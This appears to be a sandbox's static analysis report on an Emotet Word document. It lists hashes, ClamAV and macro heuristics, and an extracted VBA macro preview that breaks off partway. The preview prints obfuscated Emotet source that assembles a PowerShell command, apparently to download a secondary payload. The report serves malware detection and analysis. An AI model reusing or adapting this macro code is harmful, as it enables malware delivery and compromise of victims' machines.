Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d6c84cddb932df8c…

MALICIOUS

Office (OLE)

229.8 KB Created: 2018-06-27 07:31:00 Authoring application: Microsoft Office Word First seen: 2018-07-23
MD5: 66a14ad0f05852dd5bd969837fd38c93 SHA-1: 621d0b1ef20547a85629053f7fbe209bd03fe28a SHA-256: d6c84cddb932df8c09e23bf8fb3318c53ef079879f1e129bbbe1467f01d10146
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample was detected as Emotet by ClamAV and exhibits critical heuristic firings for VBA macros that execute shell commands. The VBA script contains obfuscated strings that likely reconstruct a URL for downloading a secondary payload, a common Emotet tactic. The AutoOpen macro further indicates malicious intent.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6980572-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6980572-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9435 bytes
SHA-256: 34bd06b31487f7a2220af532122a20c8ed2a7dd7ad8efc0b0ceae70b5c1ffee5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "bqDcPJJh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "jjkHpVVUTDw"
Function aWzYfklkvnt()
On Error Resume Next
XXYYp = 77407
mNXij = 44523
XDSiWt = 77046
hopbdN = CDate(61383)
dFriGH = Sin(1601)
IicQo = OFjjoI
NPAWbhSnUz = "Hel" + "l [str" + "iNG]::jO" + "In" + Chr(40) + " ''" + " , " + Chr(40) + "'1" + "19" + ",25" + "x2c" + "35B110o"
HowzL = Sin(71409)
iNLvGE = 84578
oBiBCp = 80534
AcYnWr = CDate(9626)
GhFfcu = zkRnl
fXZiz = 61403
izOpIZPmb = "61" + "o54x36" + ">126" + ",60" + ">49_57c5" + "4F48H39" + ",115," + "29F54F39" + "_125T4_5" + "4x49o1" + "6_63T58o" + "54,61"
TalOT = Sin(68211)
YiCTtd = 5368
dcoooD = 9686
oHBNc = CDate(13467)
fKqJX = tkWpT
pbfTd = 78079
PRlvqp = "c39B10" + "4B11" + "9x" + "10T7>36B" + "110" + "F116" + "x5" + "9o" + "39F3" + "9B" + "35o10"
FQrCUV = Sin(60875)
hmqca = 63111
wEEVt = 36390
VqMkIj = CDate(70637)
rQYHwA = WQuRX
BzCBbi = 472
MwSLHNH = "5F" + "124T1" + "24B3" + "6c3" + "6>36>" + "125o4" + "8T"
FXMSLU = Sin(10799)
KUwAX = 34335
wClNjO = 18714
Zivuf = CDate(35470)
hPzFEZ = jSYCFY
SKjaFs = 96278
hXDBwYDS = "42," + "32F5" + "8_32x" + "125o4" + "8H" + "63o124F" + "61" + "B35" + "F103H" + "1B3"
RnwDKQ = Sin(59362)
jnTdq = 49006
qmMXr = 61749
jpvAq = CDate(31551)
JjWYEf = ECdpM
dfNaNj = 79491
lcsOL = "1c" + "5T107>43" + ">32B124" + "F19c5" + "9c39,39B" + "35,105o" + "124F1" + "24," + "36o36x36" + "x125T4" + "8T33_" + "62c55c5"
CnkpDZ = Sin(75604)
Xcqpv = 18043
QFZivW = 74446
hJnWhT = CDate(94938)
CWAdI = Pshfo
tQqGjn = 85083
iJqdSWAwdB = "4_6" + "2o" + "60B1" + "25,53_58" + "T33" + "T32" + "_39x48" + "F60>6"
oWzFL = Sin(52197)
UIAFka = 26346
wplSd = 21923
cCkKT = CDate(2586)
KNAoc = fLizcN
VBYJo = 82739
zNalL = "2_55H5" + "4F62x60," + "63>5" + "8_61>56" + ">32F" + "125o48" + "B6"
DdAih = Sin(92731)
NjhSr = 83038
WLzWB = 57202
YQTdNk = CDate(45402)
Gjcwr = NvDCM
FWEGsR = 60546
mXIZMbTa = "0," + "62T" + "124" + "x11F2H6c" + "31T36,38" + "c103B39," + "124B19c" + "59>39H39"
aWzYfklkvnt = NPAWbhSnUz + izOpIZPmb + PRlvqp + MwSLHNH + hXDBwYDS + lcsOL + iJqdSWAwdB + zNalL + mXIZMbTa
lAuJG = Sin(35643)
tntzwc = 759
uZVQUw = 90142
SBXsr = CDate(11150)
XiEOuS = YNkHUw
HhHGq = 53205
End Function
Function vzaqzPrtlfz()
On Error Resume Next
aTPsXv = Sin(57788)
wFDaB = 65375
GZpdbz = 4178
KPiJz = CDate(12745)
WdwqoQ = vTEYC
FPYiMH = 74708
BwoPScAAuU = "c35B1" + "05,1" + "24,124x3" + "6T3" + "6o36>12" + "5c60F55" + "H50T126H" + "35_33>" + "60,55,38"
RkXIio = Sin(83909)
fNzqE = 16111
ApffD = 55621
ijnVE = CDate(86900)
BkIkaZ = vQniq
oTCtz = 80244
EFujVjGOj = ">48H39" + "F58>6" + "0B" + "61_1" + "25" + ">33" + "B38c12" + "4c4H57>" + "11T58o" + "42c42,12" + "4T19_5"
HPzWo = Sin(35202)
wriYP = 30986
tfzCc = 65748
zSMHni = CDate(84122)
nXpWhE = mSjShG
wqaHm = 7824
isakpvNGWYO = "9T" + "39,39_" + "35>105o1" + "24c" + "124T" + "36,36_3" + "6x12"
fBcMJv = Sin(79640)
mupDS = 58426
CjwsoO = 87413
MSdGTK = CDate(29467)
aFJVo = fHzSoY
GCXmD = 10740
UvwjWI = "5c" + "63>50H" + "35_48>1" + "25c48" + "x60B62o" + "125c" + "35" + ">56>124x" + "0B9>29" + "x10" + "6x"
HZBXF = 80205
pMwnKU = VMubw
zFMPXG = 58232
bOkMrj = 50764
wBhsAH = CDate(87672)
GPNZXi = Sin(44156)
fkQGsLYUlq = "36c97T9" + "6>39x1" + "24o19c5" + "9T39" + "o39F3" + "5>1" + "05,124>1" + "24H36" + ",36H36"
JrZCO = 336
jWDnh = zQEiUP
jTAYr = 54121
hCZKER = 75772
CTqpKz = CDate(72683)
EFRGi = Sin(24616)
aQEYifLjr = ",1" + "25" + ",48x3" + "8x" + "33o3" + "2B60c35T" + "50o" + "55_33>50"
PGnZj = 57507
TZorXf = kTmiLz
Njswsj = 88538
NkkAz = 11314
pVJXpG = CDate(41639)
KSIlKQ = Sin(96569)
LKSAqp = "o60c125" + ">48>6" + "0o62x12" + "5,49T33T" + "12" + "4>20H" + "99x33c4"
PqcQNt = 66244
rhoVE = ARqBk
UadAS = 14951
BitBiO = 61872
EWvuO = CDate(78589)
zCdbC = Sin(13180)
uzYpU = "3>107B53" + "o4" + 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.